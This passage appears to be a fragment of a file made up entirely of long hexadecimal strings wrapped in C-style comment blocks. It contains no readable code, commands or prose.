e84c06be1d63c7a4d6b9737dc1e81ce829f88705a0e2f365ba3de2918fe93f4b4d595b9695802701b6533af2026839bebd4d7fd4c7bb8704b576078610b85423a607021cadd4ccfbf64e2bd38dcdfe01017080b7638336e4e01dfe63b2ace9d232918cf673a65c95e2068c8b9a4719005d29eb452e9c2cf0c7b1852270e6212e4935558b9f7ee9780c1e3bfe96691f3b837490e0e88378fefb8acd4a68a3d605eede920485277f5c21146e12604d75bc12e0d06f0b960b5c9c00887fa3427c194e4d59a86d935721a83fd615015329074d49951e3573f9b39e763f31ba1ee93c81ea94711efdc019f8f8368cf1fba48ffd72ffe1e13a938a27c6232b02611b83ae4dd15dd75c74575562d20d016e1dc78373d9e87fc8f14772836d381e86486785ac673017e6d1c308476454d97056e0b585401fa4af5db545eb6a13a6939343d785889024351d0fbde876f6ac2fd5c8b80d2cd9b178d892f962915ea6ee7c720113a6e8b031222e1c52cd1103a0f07d5f999755fe943a086ac029f7af6daa31ac5553a9a445688d22fda4856542f36da8484e885ab293e5eadea7ef5621da1507109cb8371ed7e8d3c8a9553b22bde7dfca5d727bec7d8af49e96462d5dbf22ec018df67b7904a78ef6fe3e52f79d5efaf3d6dd753cb323071f59735e45d339757daf0f5d72c1b620e1a43ac9904f4d*/
/*a824ab3159dd81c358cb9ffa1168077a04f8b7ec81a3ed6060cb0e047dd3c8d4f4df7b454d0ccd5621b27e0b1ba03f68a4737da4077c520a22d3be9986bb9a0e6706d4c83bc89077aa3be9d2fbb15ec7ed6241a5abaf79fc9727cc14d95ba449c85d45ae8c3c5321e47359fd43e1923b2fac743994762fc3f0916e53c11cbc1c7634acf51b96a3a85afd3c4f59e08e2fc8418f4b85642fd313de18a613ca0b19deab217995e29afa0808a1bff6fb2e2038f05987b00ed7a0e891b764bd780beed7d1a6e4901afa8345f7b770c64b26ab89b1414968470778d8c7f8d4edc9f3d3377b83a518d014e7976f4f7f854aad9db1553d4a576256c7f07e6f09de6245ff2c461511801a71b6ca9703dfd296a18244826182c86ee7483b70461ef5b90e45b346572ffdcd7faa38da78c117a67e9b56ebc956924a63a53a8c4e4decce0ddb656149ab96a594d0a08afb33c31dea503ee076dba17432e53b1527888fd8634053cc042ddd44c2f8b0a7a94f913a3c64199825b08a76c00b75046fdea131a0cc9abe03c23ad5a8df89d9762d8d3de894fac8c03503561a222c921df0714d4c9e1aa6a43a08a46c6f9034db69b60290062ad8c6888ef0cb34411de4c0693ddd1f112f65672b1d26810767dd8bbe643e915beb5ad4bc66d67b84fe9d10f29e64e67e16f99893e2b29f399386b19b6abe592d890b89bca01cd85e85edb5cacd3d1e0ca37c5abcfb3c9fc287ab96d749ab693232f48719833fb09bcc1d0def5a3a8efa0f63bc2885b4b7ef6872bbfc5af2ffe7d3e85ad7f5ef836d59c3f5a2f78740b914db0ce3dd147d8c80452d23cdd631537b5b9907bb2c96d2f7fcfa03c9975fbe3bad0a0f96f12b19878ed605a7a57eacab79918161a67949d3228705fa825d5f52f6f0402fafd9651e5d86ffca3084f979499fa061e6a681ccb41d40d6144cfe216b98d67cf3a757e010f6b6df46aa51f2064776516a13d97b870542c954bb0ab66145e40de91a49068b931357bf75e151af9191ab6efb2b5e07db63a334a0910ccf40ada856e69a297904fef3fd19db0dbaf1bc25b436b6a1777c733b20a663abf7546a3f0ef74691b4bfe7720a1ea031c67fe34eb5dd5bbf8f30ebbe33a46ca29979e7f4a8fbf9827003f0f8ff8e6ab541d9f5de8ad7676c869269a8497ec4c3e6a5b822f7b8fd5c4f07c5ee1d6533ebac7ea4ac2b61377d3939c98a925feb8b5c410a6f43de1ce552b73d2382dd458a489933e1551f090f4170278ef9229305b2dc9bfa3a9f2d912e1c353ccda1786f503553a8917ac9bf3070dbc289e2cae3bebf05fb2ebc0460b7a03ee379190c8d5ac2b3f9a6e345d953538f756689ce1984c20800c189d3aee127cacb2bab9267036dc08dfc8910a76dea1fad84e6c1cb44dfb8c3ee5e470deea48db1d803c37d8c0821a89e1b72f9a17465ab99322142b943e6a300342590f71f4b820124f2261b0d6b3ad1a7212d6a1288d99d9c149153413dd35cf6ed0666013ab43278ef63886b9792d562e137148fd5ce4f05c8bd359ce2c74a16729a2d4733afa620d971ddb3830b51d99b26ac1b0973eaf1d1c7756aa98b957b440086ef260dd203a29350d078f532ffdb3ba266b8474fe25d60ea67df4dd2c30320fe3d7a4a0c7584ce30b2e2db2d830a1f198b8d3311966ec7bab79b8d2f0182e624211feed7e1f944e80608fc8cf6f8a7834c9e4c14235a6c926aa725bc0e7282ce081c51e074b27ce936d919839653f280b7cdb2d96bb31a97d4a02eab06b5946d706adb4c9b75d672abc9ad0567a1ddfe540ebe3b31ad66affa1a6c63a927fdae64651f0bc2e481f72fc5b99c47b1cea48be419f81433502ee6a24a2c20a1abbdf649b125c3e98039cba8ccec729b833936e29a4d3a319bff8b02cccd6ebbc071f8073f059593e3c5f1c5f20f3774c6bbcb30425cd7c8437b95e2dc7404929cb1aa9e71b055ee9366bd5e8934ff1941cfdd8962a35d24111fff4eb8dfeb344c394ff25e4a5da6cdd7944a800c35c0de29095d32299f5bb28113919dbc3c51d26731cd98415674edb298462bccd3c95c88b603d691dccac117f830205c2b5bf426006571d6a0bdd1f5b6c5d135720a305e254a831dbec72781ac4b0beef391d0dbb3427f46fce58de821e4ab53f84b7031006c290664b1ef4989c6e1b2c187821fcea855556768d4eaaf51fed256ba8619c2d8f81e993bfad3120aa11321a2af365d5ac662a6f68e4681390e5795dd7df92bf54c835eea3d14b396f84d79a5b6ecc1d3e3a7b3308aa37fbacf972d7629c21d29b52861b23f932a18fcc4dc1dadc9fe7b40c9baf0c10f2d045e036b8423a0bf00557bcb8c8e3ebf6cd773ebe8b7b78aaac50b26f733308928fa185291d76756f13a738becca2834de74dad265d895f4d3af78fd7b95640c898e6c02a303104e89399cd5013b766274e0d4dc9bb5d5f13abf8cd7e97bd01b0117ca78c69a2908b511b82eece218a0d2c19a89ad84e21821b9893c1de02207cc3ec79b7ca525c3d1bb5073baa26e8c87f2b38d9043cb88cb37d63bf45fd308548b432a86b298efd94cf97ad07928a7770322073580d59312506c7d8f7b4d19e1b3c6e91702f0dfd77340e9466bdbb9a2851c964ecffc9e8ba4d2256add0ae097c44a20ab060736d7809767b200fe81e759e56fb19d7f1e6eef1dd045e24870b097311824e3d1b988f50ea0ac6dd722be922fc49d08420c9e34fdae8dcba60ee9fcd7b2a1356620bc98c1368ac12a5cab83b7b98b8c8e18b38516e8171255e59e40d4b967de7bd44c4b23d7590627a22f7c810701d12a81850d0b29*/
/*afc46b709794e4c362007cdbf2069111bb1766ba31de29f8b8cf557dd7a3232a01d253444565d75f400131bb9b501053f6694f9007a822cb53cf705b712f7ad05e757d8ec1d3c918d0b41ea88edcd7a9a92c826dbaa26fdadac352b6910958a4e2af4820f114dd5b6d5978221b82dbd449b7172e2c74d786efedabbdfe03efb6169ce8639379e14eedeb9c609af9909e198a1964022ffac7de71bb81b725353aa962bdd51b187044a6fe5c9aaaac67bdc727e79f2e2389254c12f92d78a29c8ab61512138f178cead44ddc69c8160bdb3394b855633fd4c47a065c43c333b24f5444336b3486ba350d88f7295d57e43ba8f9c49f53593334346b6ca5907e5b2a40c5ebdb642b1650ac7511f7a666eca72e5abf7dbcc1c419c64525c187d4b5971988d5f8219c4c95cba890644574df6f8d36986269085b94e965299b1489d763dc9d95b193e9da83582c9f09ebbb132805a331afd312684170c8eb775727029d9a2e1615d734ff25c2d33bd6020c759a666ccc2753ace588448656f856dee4c5b11b0792182bb8457636b6949cbe831daaa7c52303b130997f5c9d940b2953e1b852b90279a32ed7a758aca8438726154a8011fd0a2eaac44e8f00570d9ba8666104a933a2e7ce5eecd98268bc70dd66593404259dc618fbae4ab29096c95392b9490609f81b19ad4e02e2d6147688272995b2c7a34d9a1a14cc989b0624373d082d4e995a89dd33d70a734a7fcddf6825c0edc61581daa4316a93570a81b1edc11a5cf736d13a822a103cc4abf13f2308c731fefe1b7db76629f39358fa1fe84f161c16be9b72772639e9b7155dcb8ce93458cb2ba4b9cffafb2e254c510350a696556a4e80fc5843159f72b4de39839166193a2dc69aad70d83b4c4e8d3a3cac347d1234fcb07c61a32e9f663a02630484c3694d1914f6d9291f31aab345b700079c5ad6a1385de93833847829136efa116d0422740f84dc02ba5b5885c1fcc2110e9eedba7a82f3f5943e95373baa2fec66bdd43c1ebba92a639029f977ff9957e5aaed6a515e81b98039c59906ca75353c8472654e91f5e8c9aa82916369b3d3a6bc60b0ac8c37fcd7c3eabd870dbe0ec149c077635e24cc615f7698b71664a66563722aa58f56fff27785fad808f9913adf49c8f841e82e74ccfbaaf73a350949f40bf4d7dcb9ad3f7c839bb3fb4a0e3bb519aca0efaf16e3fdc8bcbed01cd7141ce9dfbd1d61efa73969407c3412a501329b4d9ab561257b8e52ab9642346a9956d493b042e74141aa843e99d9cccf036737f5a760b18c1b2a8ae8259ad088af17608c5967c117cc09766b7f361c424c640d506b2a39a3b33df9deca85a1bc2006445bc32636f0f69ca14e61aa57fc24d5bb3c8925a1784342ef665c8aedbdfeaa2070a1c27b66e4f2b0d3606ae56e441f7bf5b02a0ed5192e1ea868dff07b1e3d201f701b6f88a5c04e533370d9a4e6cac29a2831fcc1ff59464e39f28762f03c1a31372cf53478a94183334fa15ad4c456f5dbab209ac6ea049d94b9ad66effda8cec6c57276b3573ca752a4692d2a83ece7d1ec7b92dec0a88221e31f92a3ae152d75786d2c445dbe7b74937319689b96d1387510b5477d3c4cfb51494cb92ac3ea77545fa31540cce428d1a35104ada3d390080ea85af36cce844cd4216c0ad2e4974482194d4bf2e03dc6bdacda2ccfbca15c0d5883fc16ebe3a329cc24ba1f334696cedd8342c984fbc19776ca95538e3a6765bda2fad11031503f04fa4ebfcb92d19d9bb41bbbefedb46d87cbc7af4c81fdb0ce564273b8300dc228bab7ecfc0a75186641412a736d42b89ae6a28a021ca734947cf3ee680976465c596074f4ebba7124f1111f30cf133410028d094ff02eefa3c4d0f3356565996cbc1b70200563b5d9efd3ed279cd783605cbc5a257c27668595da128d3f3e028a7ed062f0ef182b211d7010bf98bc5eab891d507fdcea076b1315e8dd92680330a48ad62e67f0c47737043f6613533af14a206342381f2b5dbd1fc609f7aba80d7b12eea0c6ffc1ca0183c22721d604d220dbf19469f92870331e92aea70b064b7f2875fcb8ad5ab730b99bbbd6f43894cd6c34d76ade1cf53cc6204003e91179550f9963634c13b8484544968f2c95cb3f6c2a78f2434c922ae5584f97c463cacbd98ccce92db536482c39b44ef8cafe7547ec2961a6ae7adae47b785c6daa9a4998145cae490c876f878f8900d6e18c73c83b94fbf62b6bd2ad27974897353d11d5f02e527160dcb75566c363ae1004a2a74d53513ad648176b92e9243b60df989664fa9db0f2107356f97a39b07981499a6b3ca02bbc7190feea3f05ab5950dc4a5f32fb0b89731e66481d16a5082a391d3efa889390cba5aa2dad726a3c88ca7b039d060b0b8ba35f64379bfc1536dcd4d986ca858fd9f326fcbcc6bd95dff325c03d3887973c72a24624fd9b79a530ebc814dd2b4d852e0e85b7b7da6ba212ca5f4bb7c3f30fe8a3d5ba678a4d27ab77b24c871590a095b60ec75aebc3b917f5a5868ac6a7e5c051c3448eb5664739c0996b44deedd48adc8d1650b8f0c9b32242611a87568002c5b0153ec3bedbdedcbcfe44a1d262b3e20ac88654fcb41bad7b1519a479bc9aabc437e7e98bfb28642c470dec2e41fc53dec840b5f006fe796bace71982affc76083deee16ff1f41f9557944a2d1a8d39fd9e5585df079407878b3ae8ba492fea7956df867f69994029f39f3d88456ee2380fb0ec52eaa78ba8ffe224769a1b6f6ceae7db8561d631aeb8cc8272cf58baa89faf3b5df57cf5ec5f8dc752ca4798487e975f*/
/*fac52f9c15b70094f911bb8005b4b9c1e2c57ea3261ab50a145325e87cdb63f9bd5d25df22058c390f0e1938e3d15f11e57740e10d919dc954fee79f2991b4f1bde4a8946108b895297009c002ae1102d611b194b047cfcafbcf8d97c5f8bf682699ed5af832d7e4cc314b5edaae5eef3d087520027caacb727904e03631f7d088655fafedfd1fcd4a049483ee3ec5431f8065e78837f350bb5cee778372f08b0ea7396129b161cf330fe532febe15f026dc47167ded1b20da865fc22990cc257251f9db740917c209fde534431aa39a3fba8cdeb2f78bec11b81e1f9411e93923efa00bae0af4b2def9b6772497cf74e843f7351d301cadb68014bcd15cda1b0f78df7e2974e3663aca767a0319787f2140cd46337e1d3891f4f4e94db5728e9e99ba09e47736994d139d17f9629da3c7d9fdc8074661aad18698fe348d915d4e4a961920af104c4a317eabcb9d3252a992e1045faa47a53e55cf235cab3e5b13f94e4e2074097ce025ac6e8e04af265f7d7eda375ea859020368703d32500a6df332dd69ac3aa48f5857f27f775e7b04be9baa69ad7c3e39023910d683934736d71940ea6ada7956cfc7e8aafcdca730cd02091ebd69b1bc5da24156dd902b052353d6ba8b7990fa1899bb3f173dbea52f2b88adb22769f336db895f5029f0bf38d8c307bb0008441db82d4acd35e183dcbaf5b2ecfa5434b5f64a96dc43fbde95ee3902268a14a132859f990692e31581f6157f27fd71faa92e58bbb55071d5c9f31242cd14e83cdc241fe027b7558f4e32c7a6b538ce5d71ac3b689279f32642e66c20f8c4c12d72fa6d3d75bd8e945f8da95a90b1392a253ebdc01827fe1d283389e8831839e151879c9aec4c6de8d22972c0b56955f3f6ca2df4f3e043f42bfb47f4af5af2f9102dc33b63ffa3d8f24e6641d7b1d49dadda7180227c19355ccd52803e27826d0a18755174f4b2d13e808ce798ef2098c5faeeada1115058b9be32e361e074865fa38bb4300ac38c7cdc321c486383b9b36f16ffc91c4911bc9e8c14e0338020dea50fe4c6359d5f0b80ed9e06fd0486cf12165bbd02a8372e9dad20e4e4da2730341888e27bea9c489acf2c0e6d17a730d522fac05841bb61b5c88a6e8f3e545ca4c47c737c3cf5cf5ff5b9be9f56a42df631a833357d9bb2bd2af13ac6d2fb8fe2a13a0041aa1742b49338122844bdbcb5d3915a863cee2631c7ff7d5fb43d5c14ee233e0587e3a6639b42747dcc74b2344aa78f100dc3e70fae217d79e7139f171697dcd009b5e54902c05cbc43dd681e442aded298202df448791b43b4542f6abd6e7d81afaf7151125bbc3a87f5e923d518471c6cb2335a950b85fa675c710d3d606ecc41c6abd68460628382829149d183294827614f00098d53c4a7849be22e86e610c635fb0ec1748caee8b062b15bb6fdaa9d4e70561ce6fb69937c851af54b2273ca06bdf114436237ff882ad9bf4eba3ba9c191019cabbba59f1fc4a66db51d114bb22f15baef6836c12f75465b8a13e2abe428720ed94f47a4549f9c5f6503a8f49197efc4d1748daaaf86888fefb05200225f21473312032f3c51cc48a2e72c626c4c8cdba2ffaf3ecf1aeebdac4efbdfda34c4cc2179bcffbded1a4aa351cfc51c6e36c8a184e23da7777503bb7cde77889b3c5c723af7117e924138054cc8e142c5255d098b6ace1b47f6562f8c76a483add195844539ea54901fdfbcfa16bce37fa3b42a7e83eef7f93b4ac7931d06f3185ea7b10df9efc71b71716cfd7b4be25a6d608b638bbf1d11bf48745ac1c66c31b408d0b3cdf7952896da369aac40b8f463bf26d712a8dbbec11063e6cd03593fb163645d050239ced75317a068df982be88139ff6b4622b4de4704342c63a5d1c3fc66b4ef576d81e9af39bd6ccc87e9fd50a6cb9321c2ee0b6bf63ddb3be97fec5bf8b35a911598b549b301285deec5881a623dd9663207999fbbd35da4932905b2aa952cf524a081eb2c56a671bc16321066be64758b1d73be301c0d7f993ea5e01d841a34c64aedab534fff7d04479ed4cf2b67f1d3125e4a394108d32de215f10329799eb9cc0561acd9dfd027bb21668c84ead502e59eb1a78cb2bf53ead8036ad35d91e179fc9b996824f1eb990bdb17f2054ab8808359f76fa645995400345f5e6f023bb8bacc0c45c8601e194b2b51239b8cb766549a5015adf0b116945c529fbb4a3a0aa04474cdfeaf8b68556d06ad53ded35e5695c74c3e166170f21bc84561e3e80646bb66ace7c26427f1ea2b6111918f169c28ba035a4c6da794291d6c86f8782969efa0953f6f294260062035e761271edb27ad88aee112654fe40a5ea14615633866d629ba33a543f30602a42a20cad493975cf5e505a6241b22d663632b613b04c534adb8260561a826b238abd8b603fa4448cde270e9178e69c1f98be4dacf725527c2f94b449d8d9fcad3201c83813fb87210e7e8230f949ab7f0f2f1143685ef115dcccbfbf86beff6a19cf6aa3dcd0a7806251ffe20117bce9401c6ecf94b6d2a11b54af86c3609f9b0e72aa814912e28bc6a10ee41581eacd1bb42d5f68c93e28f7258cf41e76963198fb450e2635ca49f2f02c4eb3dcad7070dd15e3b7890174a90f53234ac8ee9b86d8c3b8f332c00b3ab2a3a1305852c439de9271d883112552c566a9c86b295c8f805bc90c9c61c065e6dc871120f3c918b3412d73307497bccd3661a26d856f0c699844385a6c15a18c73af78a8971eda95124fb9cc2447ed8febb8087f23578a93ce6d9d168c5dced6c2bf67aa0fc892b36e29e3ca8b2ce3530*/
/*47edba373414e7b31c28c0f8f2ce25d51956236a10e10f6ab973a9b4610c8fb6a8a13d2c4edf739c0805eaefd403e53d8b7f1e7be3e00934edd9981d00e9e77f23a513c95b49ea09b527664de474cbbafb4c231af88289d56128c4416476c89227008761fc2f8439ef5af9aa74db9c058968f5a4a754f4cf45dfbc829283b94697bacac31f7317a18ee25bb8f18a3b18909816345a239a9d012f16a7e394247dd3488d596165b9971dc6d3a1f6baa15b1351f93c018e74da608e3cca3f163d4303ff362748ce1c48103911413aa8acaede23bbc53a5d1803665933f0cdbeb95a894a1cb488c0c3d8db4a6c6498e757cf625dea79d60e32445de1fd6bc2ad09178791e44d7ede27a963ffe035b58d7cf3ffb7771281818eb31588d28006a384387845177cc5f0cfb4df77cf5cc6b1c8c5114123b7bed336d43468e4cc95473b5461a816c1f4e9d2b341f251a8e54e1054fd47387b9be8094da7e9edbea5e29fcb0568e2ef001f03db47347606f3be1297dc64b5015ffe30ac9da60830ff5d0bd6ec3225a3313f8ce9f409d7f84b68144c1dc323ff1c3f71e5c31ebf74e438b252e402d0fa0d17ce83901a892aa5f80a81e1350d714cc05e5c3fe70ecba517de98dbe281e288149875f8d477ba4f9dc6e6097d9bf4329811b36dad2e3cf477768133782034b8ab63418abd8e098fe29aaf8f1f2a8e52c62f53d61f7e8e035b5fc7175f76ea0c9c95611981805a61659e7a69f1139eb87e3a70fa05612bcd3ca39b9e11a84e91e0cc0149d911a1305263f5c365321d8a485b54a102c420d6966b9a7a5f1533d4575de4c29a57296b931871af9c598b30ef1fe09cccb65bfb96f6d57e5406d7a881b7a0b9808c13a6214cb256840d9d36a2d0b13cb67d7b43408a7d3df17c32fb9dd6d43eb779c5550ac2e0dd51240107bf9ffc0d798b366c288ea4ba3ef092b22ce4e205090e422417bef74c2572e4706dc3280db8ef6ebaca6fbbf0baeb1aae5d447d23664f03914801be06aa0bd47d0a07233fc0140078e1f7a8538c716e8becf29570167f6be56f7695b444dfa6b688e58aee958e13c7b1d0b45ae0573fc191585e2f74505188e548fe5be42ee13f381411131f087a6df28e65183f1f7cc0e4286258fb64cdc9d30f67b548db752ff9ea4c1f39d76dd4863b966694db4ba2399c6aae3a8f0bb09722b3439df0b3400b7c024bea21866e3da094ed94acc9736fe7a028cfc934dce0ebee4cc157926e31c996e768d8dfff78f255e87c588e778cd8747c3f0451455cc625e3bb0a0fe19341c8531a84ca20844d05857bf23c6fce0438f3c154a6906aa8e18c0e371fd1a4193dbfaf416f25ac8b0565fc534b812ab90480792f32ca9c6b70df6c93b9af361b571725c58d0b50acdac5c6c1312a75f356e152a6d3cc517fada113d9d19f5ee0dc8b1a3d10481ba016f85bb117516823439cef0154859676494d856cef00621b111dbe58145adaa77af722744ffe84402262361755b59a2e93ecadd1fbcae74b4f2975e7745ee2fbdf64052d7d6297a3276ec869048491439c839274ba761170d7b25cac8827b1695ccb6dc5f0a981101be5f63e690f3e4a722fee9dff09b1f7f545fb13871d1cceb568bb5296d05705c62e3d4e5289a0093f243203aa95fa654a6819855724a05a1bd2d6af9711655ebdcb2489252011c1a7ccfcc3e88ea9605aea42fc2107fb4f64c5531b55d25f13713fa769685acd2a63ce393cee6c87dfa3f49c43900d8b6b6a746df398cb92e68fd045c138b1a4812b6657d7352a6ff812906fc86f14083502ba750d40a58ccecbe35766bbf9a31cc40c02e9de8150f13f4217598bedef98e86c8dc353aa259561805bb355469949884a9175473c2b72c0fe6490a773655a5302dd0e03626670445a9889c9d33712ea4c1bb103d80493a950a03f3dca314486e6d3c76a81c11a5d3c311ebc4f76f136e728394afe36599ab4efe5b1a22d652d504fe5113fa1ef2a931345a2d370da8dbf22d3b741aa272500408764721ae5767afa32be3ce474f8159c979a61935e90579cd4b36e0f15c02d42a8484e5fb5955b67ccf72d9801e01cbd3cd89ccffdb043b3a9121abf4b4552aac3e6498b39f48048a285612406fd51d8c5b8ce4953e2a2e6a36be15a46f04687e6c34649f5c1dc62c8ae1697ee376af9b7735754d22794c9d21437fda37e01750a9df2d73bf92c520c7d59b81859c7ac084d2dbb4eea59cb39d4f0ae1f340f0502c1a508654c78f23db1ce8d93a58ceeeac54a4132eddf31ca26bb10a90ce326c59e0d23c59345fbba16e55de8a1386c3bb4456131fa5a89fd0e73afa950cb6e43cef048e413d97d834c517f8f73c26a797c0ede896e56ef8a4490af510cc6e49db85494ca4d13fe2c345a7dea97f58bbf598015e81996ce1f25d10ba3164955129a6926ad57495adbb6d26dce1f73fc4b4f9128e5da1473daba941162faa240b4343b1d949cddb177210736155f80b951f9dbfa57a59c2c6c1806c2e498bf671e92f4fe032765dc65ef9cfa6cbbcbe0185aea679472b8e071b2c44c25356550fe08930b98526f053c9d53aaa9cee6efdfabc95586b964aa635c0f71ac15bc24bb20bada80104b78178b76dc92033fe45bcad371693f3f6ccd6afe7f98f796363a0491b08bad46c9389f7f8ab9aa425b3b689a17831ab90b2746a7c5ecba5b05dd7eddb47e090fa7c14171a1735245754c54e8a7b7f819d0020d573188d3b983c49bc9239e7d191d7f76b6b876a9f98967feae0de8641f488bca7dd03ab4ca2c97585c4d4ecb7045382773103d9791aee205d39bed95*/
/*5147cdb70b825354fdd94b80e65bde194902e651183e8c11904e0812ebba951e829704ebb8bb57018faf3b109866332cac18f916eed63a64630af5d7b1a8caf30bfd3358c3a7dedcd6adc56ef4c9af47d273cae49a37c2a30fdfb86c591b92de39a333cda49a39c2956918cb4b547b4f7a58e0406d24279f936b7ac0b8861908977bd0581168a6f1b0385afaae38a79dc9fff7898ea6ddae973d5571fac8ee42afaa43b317877c68cef65769729895eed927f6638a6b1df9f533e08952a526b9f7ce09b1d44335c4532ec84432fed6cfc83ae2c2ec12cca23e37566f6502df2c9ea8b32f063f4c423444a72d64d16cce293e3bba6cbb3e87c82470c07f7caf27b755a75aedfc2fce7e32579c1e95f274dc0e7af119534b25ffb3f0264454147d2359d5a769024a9e94feacc671f296203e85fc6361e3d7e6a32803eddc59bcb57a3880e427981aa931c0083898284ebe7872e2b0849ceee4c69a3ac4df819e5b9cb05dd07536e207306bbda63c8bc623c673382b2ba09e2d49f7961adcc86a9efd05507d01d2403662a5004ad04a17cac47549e24d9d35106c352723a7ab507ac0abc60acd8187fdc4a21ee4ab59c7665c77cb37facc74f1e305b39822a9d9e628fb6b6cda9fb68d65dd3e3b3fef968e041a57224a3359e579a61b7d800804f2f16056e69f40e15bd6399c3846888d55f15fe441b3be2cd3d11a753e3af17145f4f5eb9800ef87ba9095a798a8f6538c07b845d712166b3f8cb3fee6e1a96d0ff5b0870b2a7c030cce761db215880fd5fbd5914015bdbce9e1bfdcf5e0d3f05a256810a78d9873d9ebfcc892e5a1cb5447a62bcf5b3796208097c6da0b748af156e353454052df77e9078ab384a5fb1ea5f32b6a967918b2489ecbdb7ac5560c357563267ea609bd6af45a7dd08819625e84591307ed9e3fab5c04af62dcd05ced1a4771d8f135fdf00a44b1574fcc0181828ce5d042d4896ae4156cb458445db98f1cc7f72c12443fe48412a9f6fc309ec7ca5397c22dc1ef29d86f9cfc283fb297c912b368a55354434befd9f0eeb0c166d94ca24509ba9e79bacc1f6b8e1a36712295440086b3d7b97328c0440b44ef8f6a998986ab3c98bf831cfb76b5af1bdb9594751a348e2349730d0b45a93d1bd8e1bc82ef5132a3bf716f93db5cd2bdeff69728f3e8570de29bbe71663d900b43ab7493280a2a878c92646872ba308804b8c94e0c681d58b20e540f47c020270dae7d68a753bcc0fa77c956c8646269cda092c48591d6c694f0364a4957ea28733ebfc926ceef446e91d00fde717fbd6bcbdcc477e6e2a7bfb8b78bbad173300152d54f8f21b4b5249dd502b87063c36ea39184fad6e6309cd38f122a273ebc1f34b7bf658b9202520065807ca34acd6b4843e05917947f46cda178d9ac5abb18d2a58fd7f410e0f048c30366812c730c2aef7d7a25ee027983c8b3f6f0cb0120079d40acfff525b40f91ab6dc4dfdd10a0a1e308b5b247f4ad5c8caa35c2edcc8ea448ba97f0ac98dc5d33001cf7ba56f01e17191314c852a811134c11aaba19f6bcb8e02ed15c60f32995d08d2a10b64f8f5e8bff5a1ed63ea3a6e1a4d88effbd5ef70f2761cb00e8e62e5daadcf9ea44ec7a2991ecae6eab10a3fb798be0aaeca72ed4d1ccc5457392d1f254141783eed7a590c82c209808f081507206bb2a83c9776be4e5978a5f7765eea7293cf792b21da1bda5b6994d5f67fdfe933c3a1c26983157fdee6817dd36803542a94c1e94fb8e4381481838dccb04c986a1908102d6e5f6c37ce959979ec5dad957009cd97eeb892ffe213d29d6f84486edb61204452180b3481378376e6e879e201437591d9d08818f9c387c3b68d27c2f9ddc8ee0fdd942f840b217cb5d11874a650f20df814119e6c0ea9e926409e4c18e4fdb17f17f27e619653e156c2f0c4ca6c67f7b33b128c48b131f6b2f0e0a16e4eafc99d8146de09ece4c32f9135bb3f2112f662e5948a257d3ff1c87ec5995581bf88eda3067cd304750f19af85e9d58405cca032756f0d63147261459caf44cb9c0af81401f259f47a3997b7d36cb67894186ea84897bba3484f50eee345336168eb9a834547533744b04d833eb72c94fc6818466ae087c784bb629e5b6cfbe4fa2dc6e96097f806a29cc4367257f65371d8e97462f1c448c2e9bdbf1ec1fc28b9b0b0957f6a7d3bc7795edc2b50aa9dfc18b3c017d3b16e674ed460dea8eb79a68d38acb373ced689038b25c2089ffcd672cac8e31ecf21eec806ca67a1bd120fae31a541f8cfb9daf3a7bee6e3b591b78ffb82279904a9808b4b9d0a512df40473f700598006329b503444e254e9304a36f35cbc14d241c23fab36351f40f7e0a6962b47d2d4fccdf290945302d0a7d37b163efc45603d58e36ae55556ede58bc23e21c07c5b519ccbbdffdc617d7dd91e4b071572bfdd08d449476e3c7e1d1073a9af84dd0be5976670a83706d2531305f9dd5c8e3fb2b0d8ee4b0d1d35f9a20c396f867ec58a7b2fb6e845c1a26e057109b73e649d0da61d24cbdcfc44269ec4c2d0aca763bca4013979d53843e82019e366b039562d09d00d0ae5307e54a479601c612a86682237d75de4c4f1ae2c6f35eb3b5993de036514fc10a04cbf3919cf2a58316e2ee7ac1373053aaa50298ee04ac56352b87814c80d7167652cea0ec2c7e416df97411870e2b05270602307640a49e15b8377f54f259579b1911e786d580b2dce0a7a9d5be7147e14ca4fab7126d097589f69e6be98abcd3b55ed519924df338f32b102ec70e9abfdadfb1b01e85ba9e634af42809f32e*/
/*08769fc1d005340415f1dd6db3ac0981570002f80ba21d1eb05807a1010e8e04d2024c70c97193086e77981dc6b1673e2e6c24a97e3240fe7f633206dd5eb15e1df0178bb1c574123d9b1af60a51e448f7c64219ce4ba86115e22f602d5d24c6bb7d9d50950ff11d60fcdd2afc690cbbb05c48697578958e46f2e8148410020ca2e8d18e0a7a83fea7d9c9a32f7b35ce688ceb4debce3657a71495cd799db1f23b0281c08d1dbe7fbc601557a198f161d53281b2637656390bc9748ed524d6443b6d1500e3e2ae97d754c68ce94fa0148a3101bc9183ec8b5fd62d476f2f08af43653013c9447896499e9a0b2793cecf64715c43857a63e2967c93e36df283e83af1f82786e9dd1356bcef14eb04f7de5357ad0fd09588499e2cb4940f56402450cd163e5c8fef5cf6232691f6997136a0c6e29d0e8c5d28a4b3d53436e5f3e6467cf486a88ef016d7027f83f9ad85599d8222a95f3c87c7234540f52fa92368755792d196c1c23c1dda88ba54d385648cf6c978850c0778e08266d0231e410b433064196686621bbbf7f4aa076cd4ef0ad46176f8ad7fea6cca77b605e8b5a85089377ad5fff6e5ec07763054a5d9d2e38cf3cf7edbd7db1f91da3671ad8a43148bd182537040271717b682e02aeee585dd4e979a1a788bb1c1e9576084c83ded6abf83e24997bcc1dd330e1313f261d4b3566ff4a044370d82b97544e9d7b25b9189419e1fff17e518d8c2f885ff4567f3c19e7ba8d800daa524056a69b0b4a0696c30d031f41dd3ee9465c92645f67ac61da336fbc05c87e16008d0284ba84b305da8dda2e18fd615f8edb0eee762fd60c73d430aa86bfb2272503da0eae8ad3a7e4b788ee440a507b03543de7f6b321840abd67dfa5741caa2b382017253f48fdee2de28aac49ed3d0e162a4329e7c071e9848762c01f3a5cf3e9a64280ab249a0cda7b216a54fc61030cda37e4dfe76b8c3a522b43485d9e82aa3f358c906de3909a6c1f77d2e62659ab1d90fc62ec8ff733e36502f4458870dd3952d9a5c6ebc61576cf9674ee93e051d39f428b8f1c3360eb96d0ab5b0f70c8055591a9b9d7aa1136853a438fd4af88c3d33c5e0fa1230708dbfdca3a130fc1851da793f122b1c389ef761fb6d81b0515fc95b6f8aa81c5232747d416433a15a09a4ea1fdf5aa8b628ab4d625e5cca5d04bc67b377ae79485d3b06930a4c553f8a6e2256f3fbe145b583d756031a3a4aa5d6dee9d12d3b01464f4d27f251031cc5562a483a322929f83514d8297e771a254e0661a95ae9b7327be8a64d2fbaa5f3a46454d594d002c1429189229a142b4d3d6b9bcf1c413077270c7a9e707dac46e4085507bb03a7fbe5e5d197a1b6a2bbf20b3a79e0b71f72b1d4793bdf8b93017fa73201d5f1840e7690b14c389a778633896f43e1f2699bd0d4f198246b616a0cb59de8c41c2233d